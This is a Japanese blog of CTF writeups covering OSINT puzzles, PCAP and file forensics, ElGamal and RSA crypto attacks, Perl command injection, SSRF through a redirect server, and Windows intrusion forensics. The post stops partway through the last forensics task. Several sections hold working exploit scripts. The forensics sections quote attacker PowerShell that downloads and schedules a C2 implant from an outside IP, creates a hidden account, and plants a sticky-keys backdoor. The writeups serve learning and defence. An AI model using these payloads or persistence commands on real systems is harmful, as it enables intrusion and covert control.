DIVER OSINT CTF 2025 Writeups

面白かったです!

[introduction] bx

この写真で見える "BX" という看板の座標を答えなさい。

AIに特徴的な文字列を抜き出させてみるがBX、文化シャッター以外なかった。人力で確認すると「カトリック上野教会」というのが見て取れる。AIにカトリックほにゃららが無いか聞くと「カトリック○○教会」ですねと言われる。拡大画像を送り付けると「カトリック上野教会」ですねと正しく答えてくれた。理解できる解像度の限界があるのかもしれない。

ということで、この辺が正解。(揺らぎを吸収する回答方式で感動)

https://www.google.co.jp/maps/place/%E3%82%AB%E3%83%88%E3%83%AA%E3%83%83%E3%82%AF%E4%B8%8A%E9%87%8E%E6%95%99%E4%BC%9A/@35.7165836,139.7786687,16.42z/data=!4m6!3m5!1s0x60188e9adeeda60f:0x656ba98fd86a0141!8m2!3d35.7183294!4d139.7809779!16s%2Fg%2F11t3zk20yz?hl=ja&entry=ttu&g_ep=EgoyMDI1MDYwNC4wIKXMDSoASAFQAw%3D%3D

[introduction] document

アメリカ海軍横須賀基地司令部(CFAY)は、米軍の関係者向けに羽田空港・成田空港と基地の間でシャトルバスを運行している。2023年に乗り場案内の書類を作成した人物の名前を答えよ。

AIに聞くと、以下のURLを提示してくれた。

https://cnrj.cnic.navy.mil/Portals/80/CFA_Yokosuka/Documents/Airport%20Shuttle/2023%2008%2014%20CFAY%20Airport%20Bus%20Schedule.pdf?ver=-K3r8A3eonOJl48Tkf9SnA%3D%3D

かなりこれっぽい。タイトルを見ると、8.3形式ファイル名になっているのでメタデータに情報が残っているかも。ダウンロードしてexiftoolにかけると答えが出てきた。

$ exiftool 10 2023\ 08\ 14\ CFAY\ Airport\ Bus\ Schedule.pdf | grep Author
Error: File not found - 10
Author                          : Mitchell.Donovan

[introduction] finding_my_way

34.735639, 138.994950 にある 建造物 の、OpenStreetMapにおけるWay(ウェイ)番号を答えよ。
「建造物」は「地物」の一種である / a "building" is categorized into "features"

OpenStreetMapで34.735639, 138.994950を探し、右クリックから「地物を検索」すると出てきた。

https://www.openstreetmap.org/way/568613762

[introduction] flight_from

このヘリコプターが出発した飛行場のICAOコード(4レターコード)で答えよ。
データを入念に確認してください。あなたのOSINT能力を期待しています。 / Confirm the data carefully. We expect your OSINT ability.

とりあえず、AIに突っ込んで出てきた結果Diver25{RJTI}は間違い。写真を見ると立川から飛んでいるみたいなので、「間違いみたいです。写真の方を見ると立川あたりから飛んでいませんか?」と聞くと、正しい答えを渡してきた。Diver25{RJTC}

[introduction] hidden_service

添付ファイルを確認して、Flagを獲得してください!

Torのアドレスが書いてある紙が与えられるので、適当につなげるとフラグがもらえる。

[introduction] night_accident

この動画で、車とバスが衝突しそうになった場所はどこか。
衝突には至らないものの、交通事故のようなシーンがあります

AIに映像の断片的なスクショとGeminiに解析させたYouTubeの情報、そして、目視で確認したバスの52と58の情報から探させた。バス停のかぶっている所を聞くと、

  • Bishan Bus Interchange (Bishan Int) - 両路線の主要ターミナル
  • Blk 115 - ビシャン地区
  • Opp Bishan Stn (ビシャン駅前) - MRT駅近く

を教えてくれたので、人力で確認していくとBlk 115が正解。道路脇のシマシマとか、黄色いバッテンとか、建物の感じから断定した。

https://www.google.co.jp/maps/place/Blk+115/@1.3482179,103.8485893,3a,75y,272.34h,75.23t/data=!3m7!1e1!3m5!1sWsfZog9V7Gx_ncA53CFqxA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D14.77408219111436%26panoid%3DWsfZog9V7Gx_ncA53CFqxA%26yaw%3D272.34232678496426!7i16384!8i8192!4m15!1m8!3m7!1s0x31da176ad41fce75:0xf623944cd17fa293!2sBishan+Rd,+Bishan+Harmony+Park,+Singapore+579778!3b1!8m2!3d1.3449707!4d103.8473498!16s%2Fg%2F11bvtltnv3!3m5!1s0x31da17145aabe0fd:0x8c938c2cbfc2fc82!8m2!3d1.3481557!4d103.8485168!16s%2Fg%2F1tdk_217?hl=ja&entry=ttu&g_ep=EgoyMDI1MDYwNC4wIKXMDSoASAFQAw%3D%3D

[introduction] ship

これは、ある組織が運用する船舶である。もし将来、この船が外国に売却されたとしても、変わらない番号を答えよ。
船名には記号を含まない。 / The ship name doesn't contain symbols.

「もし将来、この船が外国に売却されたとしても、変わらない番号を答えよ。」とあるが、IMO番号のことらしい。 AIに解かせている間に自力で解けた。

東京海洋大学から、 https://www.s.kaiyodai.ac.jp/special-contents/ship.html にたどり着けば、神鷹丸であることが分かる。 あとは、WikipediaからIMO番号を持ってきて、Diver25{神鷹丸_9767675}

Grey Cat The Flag 2025 Writeups

[Forensics] Layer Cake

Layer cake is so good. I have an mp3 file all about layer cake. Maybe you can find the flag there?

layer cake.mp3というファイルが与えられる。まず、配布されたファイルの形式を確認してみる。

$ file layer\ cake.mp3
layer cake.mp3: MPEG ADTS, layer III, v1, 192 kbps, 44.1 kHz, JntStereo

一見するとMP3ファイルのように見えますが、hexdumpで内容を確認してみると

$ hd layer\ cake.mp3 | head -n 20
00000000  ff fb 68 30 14 00 00 00  00 00 e1 91 be 5a 00 00  |..h0.........Z..|
00000010  00 00 00 00 00 00 00 00  00 00 07 00 20 00 6c 61  |............ .la|
00000020  79 65 72 73 2f 75 78 0b  00 01 04 00 00 00 00 04  |yers/ux.........|
00000030  00 00 00 00 55 54 0d 00  07 26 85 39 68 a3 86 39  |....UT...&.9h..9|
00000040  68 26 85 39 68 50 4b 03  04 14 00 00 00 00 00 e1  |h&.9hPK.........|
00000050  91 be 5a 00 00 00 00 00  00 00 00 00 00 00 00 10  |..Z.............|
00000060  00 20 00 6c 61 79 65 72  73 2f 64 6f 63 50 72 6f  |. .layers/docPro|
00000070  70 73 2f 75 78 0b 00 01  04 00 00 00 00 04 00 00  |ps/ux...........|

PKというマジックバイトやlayers/というディレクトリ名が見えることから、これはZIPファイルっぽい。ファイルをunzipしてみると色々解凍できて、Microsoft Word文書(.docx)っぽいものが出てくる。適当にgrepするとword/styles.xml内でフラグを発見した。

<w:style w:type="paragraph" w:styleId="Heading5"><!-- grey{s0_f3w_lay3r5_w00p5} --><w:name w:val="heading 5"/>

[Forensics] Connection Issues

One of our employees was browsing the web when he suddenly lost connection! Can you help him figure out why?

chall.pcapが与えられる。ネットワークが使えないというのがヒントっぽい。適当に目grepすると以下のようなのが見つかる。

#1409: 192.168.100.1 is at bc:24:11:74:12:33 (duplicate use of 192.168.100.1 detected!)
#1575: 192.168.100.1 is at bc:24:11:74:12:33 (duplicate use of 192.168.100.1 detected!)

ARP Spoofingか。これは通信ができなくなったというのも分かる。ということはARPに着目すればよさそうなので、ARPを適当に確認していくと、ARPパケットに異常な追加データが埋め込まれているのが見える。tsharkでダンプしてみる。

tshark -r chall.pcap -Y "arp and frame.len > 42" -x

なんか末尾にbase64エンコードされた文字列っぽいのが見える。適当に集める。

01: Z3JleXtk → grey{d
02: MWRfMV9q → 1d_1_j
03: dXM3X2dl → us7_ge
04: N19wMDFz → 7_p01s
05: b24zZH0= → on3d}

これを結合するとフラグになる。

[Crypto] Uwusignatures

As an uwu girl, I decided to make this digital signature scheme to share my signatures with everyone!
I'll only show you half of my signature though, because I'm shy...
Surely, no one would steal from a cutie like myself... right?

ソースコードは以下。

from Crypto.Util.number import *
import json
import hashlib

KEY_LENGTH = 2048
FLAG = "grey{fakeflagfornow}"

class Uwu:
    def __init__(self, keylen):
        self.p = getPrime(keylen)
        self.g = getRandomRange(1, self.p)
        self.x = getRandomRange(2, self.p) # x is private key
        self.y = pow(self.g, self.x, self.p) # y is public key
        self.k = getRandomRange(1, self.p)
        while GCD(self.k, self.p - 1) != 1:
            self.k = getRandomRange(1, self.p)
        print(f"{self.p :} {self.g :} {self.y :}")
        print(f"k: {self.k}")
    def hash_m(self, m):
        sha = hashlib.sha256()
        sha.update(long_to_bytes(m))
        return bytes_to_long(sha.digest())
    def sign(self, m):
        assert m > 0
        assert m < self.p
        h = self.hash_m(m)
        r = pow(self.g, self.k, self.p)
        s = ((h - self.x * r) * pow(self.k, -1, self.p - 1)) % (self.p - 1) 
        return (r, s)
    def verify(self, m, signature):
        r, s = signature
        assert r >= 1
        assert r < self.p
        h = self.hash_m(m)
        lhs = pow(self.g, h, self.p)
        rhs = (pow(self.y, r, self.p) * pow(r, s, self.p)) % self.p
        return lhs == rhs 

def main():
    print("Welcome to my super uwu secure digital signature scheme!")
    uwu = Uwu(KEY_LENGTH)
    sign_count = 0   
    while True:
        print("1. Show me some of your cutesy patootie signatures!")
        print("2. Get some of my uwu signatures (max 2)")
        choice = int(input("> "))
        if choice == 1:
            data = json.loads(input("Send me a message and a signature: "))
            m, r, s = data["m"], data["r"], data["s"]
            if m == bytes_to_long(b"gib flag pls uwu"):
                if uwu.verify(m, (r, s)):
                    print("Very cutesy, very mindful, very demure!")
                    print(FLAG)
                    exit()
                else:
                    print("Very cutesy, but not very mindful")
                    exit()
            else:
                print("Not very cutesy")
                exit()
        elif choice == 2:
            if sign_count >= 2:
                print("Y-Y-You'd steal from poor me? U_U")
                exit()
            data = json.loads(input("Send me a message: "))
            m = data["m"]
            if type(m) is not int or m == bytes_to_long(b"gib flag pls uwu"):
                print("Y-Y-You'd trick poor me? U_U")
                exit()
            r, s = uwu.sign(m)
            print(f"Here's your uwu signature! {s :}")
            sign_count += 1
        else:
            print("Not very smart of you OmO")
            exit()

if __name__ == "__main__":
    main()

ElGamal 署名が実装されている。コードを詳しく見ると、脆弱性が2つある。

  1. ノンス再利用: k がコンストラクタで一度だけ生成され、全ての署名で同じ値が使われる
  2. デバッグ情報漏洩: k の値がコンソールに出力される

ノンスが再利用されているので、そこからkを求めることができるのだが、kは与えられているのでそれを使うことにしよう。

  1. 1つの署名を取得
  2. k は既に分かっているので直接 r = g^k mod p を計算
  3. 署名方程式から x*r を逆算
  4. 目標メッセージの署名を偽造

という流れでいい。以下のようなコードでフラグが得られる。

from Crypto.Util.number import *
import hashlib
import json
from pwn import *

def hash_m(m):
    sha = hashlib.sha256()
    sha.update(long_to_bytes(m))
    return bytes_to_long(sha.digest())

r = remote("challs2.nusgreyhats.org", 33301)

r.recvline()  # Welcome message
    
pub_line = r.recvline().decode().strip()
p, g, y = map(int, pub_line.split())

k_line = r.recvline().decode().strip()
k = int(k_line.split(":")[1].strip())

r.sendlineafter(b"> ", b"2")  # 署名取得
m1 = 1337
r.recvuntil(b": ")
r.sendline(json.dumps({"m": m1}).encode())
    
sig1_line = r.recvline().decode()
s1 = int(sig1_line.split("!")[-1].strip())

h1 = hash_m(m1)
k_inv = pow(k, -1, p - 1)

r_calced = pow(g, k, p)
target_msg = bytes_to_long(b"gib flag pls uwu")
target_hash = hash_m(target_msg)
x_r = (h1 - (s1 * k) % (p - 1)) % (p - 1)
target_s = ((target_hash - x_r) * k_inv) % (p - 1)

r.sendlineafter(b"> ", b"1")  # 署名検証
forge_data = {"m": target_msg, "r": r_calced, "s": target_s}
r.sendlineafter(b": ", json.dumps(forge_data).encode())
r.interactive()

TSG LIVE! 14 CTF Writeup

[web] perling_perler

perl

perlで出来たサイトが与えられる。環境変数にフラグが置いてある。ソースコードの重要な部分は以下。

post '/echo' => sub {
    my $str = body_parameters->get('str');
    unless (defined $str) {
        return "No input provided";
    }

    if ($str =~ /[&;<>|\(\)\$\ ]/) {
        return "<h2>echo:</h2><pre>Invalid Input</pre><a href='/'>Back</a>";
    };

    my $output = `echo $str`;

    return "<h2>echo:</h2><pre>$output</pre><a href='/'>Back</a>";
};

ユーザー入力の$strを見ると、&;<>|()$が使えないように検証していて、`echo $str`のようにコマンド呼び出しに使われている。コマンドインジェクション出来そうなので、適当に使える文字から`env`とするとフラグが得られた。

[web] Shortnm

URL短縮サービスを作りました。

First Blood。サーバーは2つ用意されていて、片方が外部に公開されているアプリサーバーで、もう1つは内部からのみアクセスできるフラグサーバー。

フラグサーバーは以下のような実装。

from fastapi import FastAPI, Request
from fastapi.responses import PlainTextResponse

app = FastAPI()

@app.get("/flag")
async def get_flag(request: Request):
    host = request.headers.get("host", "")
    if host == "flag:45654" and request.url.port == 45654:
        return PlainTextResponse("TSGLIVE{REDACTED}")
    return PlainTextResponse("Access denied", status_code=403)

よって、http://flag:45654/flagを呼び出せればフラグが返ってくる。つまり、アプリサーバー側でSSRFしてその内容が取得できる必要がある。その情報を元にアプリサーバーを読むと、以下の点が怪しい。

@app.get("/shortenm")
async def shortenm(url: str = Query(...)):
    short_id = generate_id() 
    url = 'http://localhost:8000/shortem?format=json&url='+url
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)
    url = response.json()["shorturl"]
    r.set(short_id, url)
    
    short_id = generate_id() 
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)    
    return Response(content=response.content,status_code=response.status_code,media_type=response.headers.get("content-type"))

リダイレクトが許可された状態で取得して、その中身を出力している。早解きを優先して、ちゃんと確認していないが、直接は呼べないだろうということで、リダイレクトを経由して呼ばせることにする。以下のようなリダイレクトサーバーを用意し、ngrokで公開し、そのURLをGET /shortenm経由で読ませるとフラグが得られる。

// 適当な場所で`npm i express`して`node redirector.js`で起動、`/opt/ngrok http 3000`でngrok用意。
const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  res.redirect('http://flag:45654/flag');
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

[web] iwi_deco_demo 解けず

JavaのWebアプリはSpring Bootで書くといいらしいです。

SSTIできる箇所が一生見つからず終わり。@{'/user/__${userId}__/settings'}"@{/user/{id}/settings(id=${userId})}で書き方が違うねということは気づいていたのに、なぜそのヒントを大事にできないのか…

[crypto] Unnecessary Thing

暗号文一個じゃ足りない? しょうがないやつだねえ。ほら、おまけだよ。

ソースコードは以下。

from Crypto.Util.number import getStrongPrime, bytes_to_long
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 65537

m = bytes_to_long(flag.encode())
assert m < n

c = pow(m, e, n)
cp = pow(m+p, e, n)

print(f"{n=}")
print(f"{e=}")
print(f"{c=}")
print(f"{cp=}")

Franklin-Reiter Related Message Attackっぽい見た目はしているが、m+pのpは不明なので使えない。cpの方の式を展開してみよう。

 \displaystyle
(m+p)^e \equiv m^e + em^{e-1}p + \binom{e}{2}m^{e-2}p^2 + \binom{e}{3}m^{e-3}p^3 + \cdots + \binom{e}{e-3}m^3p^{e-3} + \binom{e}{e-2}m^2p^{e-2} + emp^{e-1} + p^e \pmod{n}

このとき、[tex:me]は既にcとして与えられているので、以下のように引き算することができる。

 \displaystyle
cp - c \equiv em^{e-1}p + \binom{e}{2}m^{e-2}p^2 + \binom{e}{3}m^{e-3}p^3 + \cdots + \binom{e}{e-3}m^3p^{e-3} + \binom{e}{e-2}m^2p^{e-2} + emp^{e-1} + p^e \pmod{n}

この式の右辺を見ると全てpがかけられているのでcp - cはpの倍数になることが分かる。よって、同様にpの倍数であるnとGCDを取ればpが得られ、nの素因数分解が可能になる。これを実装したのが以下で、動かすとフラグが得られる。

n=113848976691816529412353288353434516248350236084108173798388011730446575498532101181970551229558448491554146100916598598644399716705779759442896244491893934229652371305593092501397461502082542035705864163680009579469363009905785985948594381841301875025743266193800883094355897094329679006391279259361822592657
e=65537
c=67103957270339774904434611308874035749190329450026295613000691170744770398567886634249043441310331743711734092811565436083308201670878005561003470320594090769059799477585765946327866854618977848424687962738057700719728924175419028663672597517615947126157927551559168806869664050731818316337809475028581279782
cp=15293102229247166750976885518461073034520636256742291030355629534093544514258485910897757060045476109646628488748823652005699136184981891883794284690508038803210397343926433011430811798482179001774429749116676973109542250269097851762953181363091270104660431148714880402228633721625810275047682873920643079112

p = gcd(cp - c, n)
q = n // p

from Crypto.Util.number import long_to_bytes
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))

BYUCTF 2025 Writeups

[Forensics] Wimdowsシリーズ

Earlier this week, an attacker managed to get into one of our Windows servers... can you help us figure out what happened? The VM files for this challenge are located below (the credentials are vagrant/vagrant):

Windows Serverのovaファイルが与えられるので解析して、小問題に答える。1~5に分かれているのだが、分かる問題から解いていこう(時間とかが得られると他の問題も解きやすくなるので)

Wimdows 3

The attacker also created a new account- what group did they add this account to? Wrap your answer in byuctf{}. E.g. byuctf{CTF Players}.
攻撃者は新しいアカウントも作成しました。彼らはこのアカウントをどのグループに追加しましたか?回答をbyuctf{}で囲んでください。例:byuctf{CTF Players}。
Reminder - all answers are case-INsensitive for all of these problems

イベントログを解析すればわかりますね。ovaファイルを7zipで解凍して出てきたvmdkファイルをAutopsyに突っ込んで中身を確認する。

/img_byuctf-wimdows-disk001.vmdk/vol_vol2/Windows/System32/winevt/Logs を全部持ってきて、Hayabusaにとりあえずかけてみよう。

Dates with most total detections:
emergency: n/a, critical: 2025-05-16 (2), high: 2025-05-16 (23), medium: n/a, low: n/a, informational: n/a

Top 5 computers with most unique detections:
emergency: n/a
critical: vagrant-2008R2 (2)
high: vagrant-2008R2 (15)
medium: n/a
low: n/a
informational: n/a

╭─────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ Top emergency alerts:                              Top critical alerts:                             │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ n/a                                                Sticky Key Like Backdoor Usage - Registry (1)    │
│ n/a                                                HackTool - Sliver C2 Implant Activity Pat... (1) │
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ Top high alerts:                                   Top medium alerts:                               │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ Powershell Token Obfuscation - Powershell (6)      n/a                                              │
│ Suspicious Service Path (4)                        n/a                                              │
│ Windows Shell/Scripting Processes Spawnin... (3)   n/a                                              │
│ User Added To Local Admin Grp (2)                  n/a                                              │
│ Suspicious SYSTEM User Process Creation (2)        n/a                                              │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ Top low alerts:                                    Top informational alerts:                        │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
╰──────────────────────────────────────────────────╌──────────────────────────────────────────────────╯

すごいね。眺めるとユーザー操作関連の記録も残っていた。

Timestamp    Rule Title  Level   Computer    Channel Event ID    Record ID   Details Extra Field Info
2025-05-16 11:08:48.871 +09:00  User Added to Remote Desktop Users Group    high    vagrant-2008R2  Sysmon  1   54  Cmdline: "C:\Windows\system32\net.exe" localgroup "Remote Desktop Users" phasma /add ¦ Proc: C:\Windows\System32\net.exe ¦ User: NT AUTHORITY\SYSTEM ¦ ParentCmdline: powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand bgBlAHQAIABsAG8AYwBhAGwAZwByAG8AdQBwACAAIgBSAGUAbQBvAHQAZQAgAEQAZQBzAGsAdABvAHAAIABVAHMAZQByAHMAIgAgAHAAaABhAHMAbQBhACAALwBhAGQAZAA= ¦ LID: 0x3e7 ¦ LGUID: 0557F2DF-0000-0000-E703-000000000000 ¦ PID: 6000 ¦ PGUID: 0557F2DF-0000-0000-0C5C-0D0000000000 ¦ ParentPID: 5136 ¦ ParentPGUID: 0557F2DF-0000-0000-DA51-0D0000000000 ¦ Description: Net Command ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=63DD6FBAABF881385899FD39DF13DCE3,SHA256=3B9AD8E2C1D03FF941A7C9192A605F31671B107DEF6FF503A71A0FB2C5BBD659,IMPHASH=96B4B43C2313DC3C3237F7C32A9F8812  CurrentDirectory: C:\Program Files\elasticsearch-1.1.1\ ¦ FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) ¦ IntegrityLevel: System ¦ OriginalFileName: net.exe ¦ ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ RuleName: - ¦ TerminalSessionId: 0 ¦ UtcTime: 2025-05-16 02:08:48.856
2025-05-16 11:08:48.871 +09:00  User Added to Remote Desktop Users Group    high    vagrant-2008R2  Sysmon  1   55  Cmdline: C:\Windows\system32\net1 localgroup "Remote Desktop Users" phasma /add ¦ Proc: C:\Windows\System32\net1.exe ¦ User: NT AUTHORITY\SYSTEM ¦ ParentCmdline: "C:\Windows\system32\net.exe" localgroup "Remote Desktop Users" phasma /add ¦ LID: 0x3e7 ¦ LGUID: 0557F2DF-0000-0000-E703-000000000000 ¦ PID: 5888 ¦ PGUID: 0557F2DF-0000-0000-8F5C-0D0000000000 ¦ ParentPID: 6000 ¦ ParentPGUID: 0557F2DF-0000-0000-0C5C-0D0000000000 ¦ Description: Net Command ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=3B6928BC39E5530CEAD1E99269E7B1EE,SHA256=0F084CCC40CBF7C3C7472DDAD609B5FD31AACAFA44E23F9EC7E9E2184713B986,IMPHASH=72AA515B1963995C201E36DE48594F61 CurrentDirectory: C:\Program Files\elasticsearch-1.1.1\ ¦ FileVersion: 6.1.7601.17514 (win7sp1_rtm.101119-1850) ¦ IntegrityLevel: System ¦ OriginalFileName: net1.exe ¦ ParentImage: C:\Windows\System32\net.exe ¦ RuleName: - ¦ TerminalSessionId: 0 ¦ UtcTime: 2025-05-16 02:08:48.871

何回も言っているが、ほんとにすごいなHayabusa。

"C:\Windows\system32\net.exe" localgroup "Remote Desktop Users" phasma /add

の実行形跡がありますね。よってbyuctf{Remote Desktop Users}

Wimdows 5

Last but not least, the attacker put another backdoor in the machine to give themself SYSTEM privileges... what was it? (your answer will be found directly in byuctf{} format)
最後になりますが、攻撃者は自身にSYSTEM権限を与えるための別のバックドアをマシンに仕掛けました。それは何でしたか?(あなたの答えはbyuctf{}形式で直接見つかるはずです)

hayabusaの結果を見ていくと、以下のような検出事項もある。

Timestamp    Rule Title  Level   Computer    Channel Event ID    Record ID   Details
2025-05-16 11:10:42.794 +09:00  Sticky Key Like Backdoor Usage - Registry   crit    vagrant-2008R2  Sysmon  13  88  EventType: SetValue ¦ RegKey: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger ¦ Details: C:\windows\system32\cmd.exe #byuctf{00p5_4ll_b4ckd00r5_139874} ¦ Proc: C:\Windows\system32\reg.exe ¦ PID: 4460 ¦ PGUID: 0557F2DF-0000-0000-7BEA-0D0000000000 ¦ User: NT AUTHORITY\SYSTEM

ここにあるフラグを答えると正答。某Offensive資格のコースでも紹介されてた気がするバックドア。 問題文によるとこれは攻撃者の最後の行動らしい。2025-05-16T11:10:42+0900以前でログ等は見ればよさそう。

Wimdows 2

Once they got in, the attacker ran some commands on the machine, but it looks like they tried to hide what they were doing. See if you can find anything interesting there (your answer will be found already in byuctf{} format).
侵入後、攻撃者はマシン上でいくつかのコマンドを実行しましたが、彼らは自分たちの行動を隠そうとしたようです。そこに何か興味深いものがないか確認してください(あなたの答えはすでにbyuctf{}形式で見つかるはずです)。

行動を隠すと言えばログ削除とかだが… 問題文を見る感じPowerShellの実行ログを見ればいい?それ用のイベントログを見てもいいのだが、hayabusaで適当に-EncodedCommandでキーワード検索して、攻撃が実行されている時間近辺でのPowerShell呼び出しを漁ってみる。

2025-05-16 11:07:47.000 +09:00 | ls
2025-05-16 11:08:01.000 +09:00 | whoami /priv
2025-05-16 11:08:07.000 +09:00 | ls -l
2025-05-16 11:08:12.000 +09:00 | write-output 'byuctf{n0w_th4t5_s0m3_5u5_l00k1ng_p0w3rsh3ll_139123}'
2025-05-16 11:08:18.000 +09:00 | get-process
2025-05-16 11:08:22.000 +09:00 | get-service
2025-05-16 11:08:28.000 +09:00 | net user phasma f1rst0rd3r! /add
2025-05-16 11:08:36.000 +09:00 | New-Item -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" -Force | Out-Null
2025-05-16 11:08:43.000 +09:00 | New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" -Name "phasma" -Value 0 -PropertyType DWord -Force
2025-05-16 11:08:48.000 +09:00 | net localgroup "Remote Desktop Users" phasma /add
2025-05-16 11:08:59.000 +09:00 | $ProgressPreference = 'SilentlyContinue' ; Invoke-WebRequest -Uri "http://192.168.1.107:8000/goose.zip" -OutFile C:\goose.zip ; icacls C:\goose.zip /grant 'Everyone:(OI)(CI)F' /T ; Expand-Archive -Path C:\goose.zip -DestinationPath C:\goose -Force ; schtasks /create /tn $(-join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})) /tr "C:\goose\goose\GooseDesktop.exe" /sc minute /mo 1 /st $(Get-Date).AddMinutes(1).ToString("HH:mm") /ru $(((quser | Select-Object -Skip 1 -First 1) -split "\s\s+")[0].TrimStart(' '))
2025-05-16 11:10:15.000 +09:00 | $BINARY='C:\Windows\System32\update.exe' ; $ProgressPreference = 'SilentlyContinue' ; Invoke-WebRequest -Uri "http://192.168.1.107:8000/update.exe" -OutFile $BINARY ; schtasks /create /tn "updates" /tr $BINARY /ru 'SYSTEM' /sc onstart /rl highest ; schtasks /run /tn "updates"

あった。これを答える。

Wimdows 4

Using their access, the attacker also deployed a C2 binary on the machine - what C2 framework was it, and what IP address was the C2 attempting to connect to?
攻撃者はそのアクセスを利用して、マシン上にC2バイナリも配置しました。それはどのC2フレームワークで、どのIPアドレスに接続しようとしていましたか?
Format your answer like so: byuctf{_}. E.g. byuctf{evilosx_10.1.1.1}

HayabusaによるとSliver C2が動いているらしい。

Timestamp    Rule Title  Level   Computer    Channel Event ID    Record ID   Details
2025-05-16 11:10:41.908 +09:00  HackTool - Sliver C2 Implant Activity Pattern   crit    vagrant-2008R2  Sysmon  1   85  Cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8 ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ User: NT AUTHORITY\SYSTEM ¦ ParentCmdline: C:\Windows\System32\update.exe ¦ LID: 0x3e7 ¦ LGUID: 0557F2DF-0000-0000-E703-000000000000 ¦ PID: 860 ¦ PGUID: 0557F2DF-0000-0000-FDDF-0D0000000000 ¦ ParentPID: 1044 ¦ ParentPGUID: 0557F2DF-0000-0000-ECCF-0D0000000000 ¦ Description: Windows PowerShell ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=A575A7610E5F003CC36DF39E07C4BA7D,SHA256=006CEF6EF6488721895D93E4CEF7FA0709C2692D74BDE1E22E2A8719B2A86218,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453

先ほど解析した、PowerShellコマンドの解析を見ると

2025-05-16 11:08:59.000 +09:00 | $ProgressPreference = 'SilentlyContinue' ; Invoke-WebRequest -Uri "http://192.168.1.107:8000/goose.zip" -OutFile C:\goose.zip ; icacls C:\goose.zip /grant 'Everyone:(OI)(CI)F' /T ; Expand-Archive -Path C:\goose.zip -DestinationPath C:\goose -Force ; schtasks /create /tn $(-join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})) /tr "C:\goose\goose\GooseDesktop.exe" /sc minute /mo 1 /st $(Get-Date).AddMinutes(1).ToString("HH:mm") /ru $(((quser | Select-Object -Skip 1 -First 1) -split "\s\s+")[0].TrimStart(' '))
2025-05-16 11:10:15.000 +09:00 | $BINARY='C:\Windows\System32\update.exe' ; $ProgressPreference = 'SilentlyContinue' ; Invoke-WebRequest -Uri "http://192.168.1.107:8000/update.exe" -OutFile $BINARY ; schtasks /create /tn "updates" /tr $BINARY /ru 'SYSTEM' /sc onstart /rl highest ; schtasks /run /tn "updates"

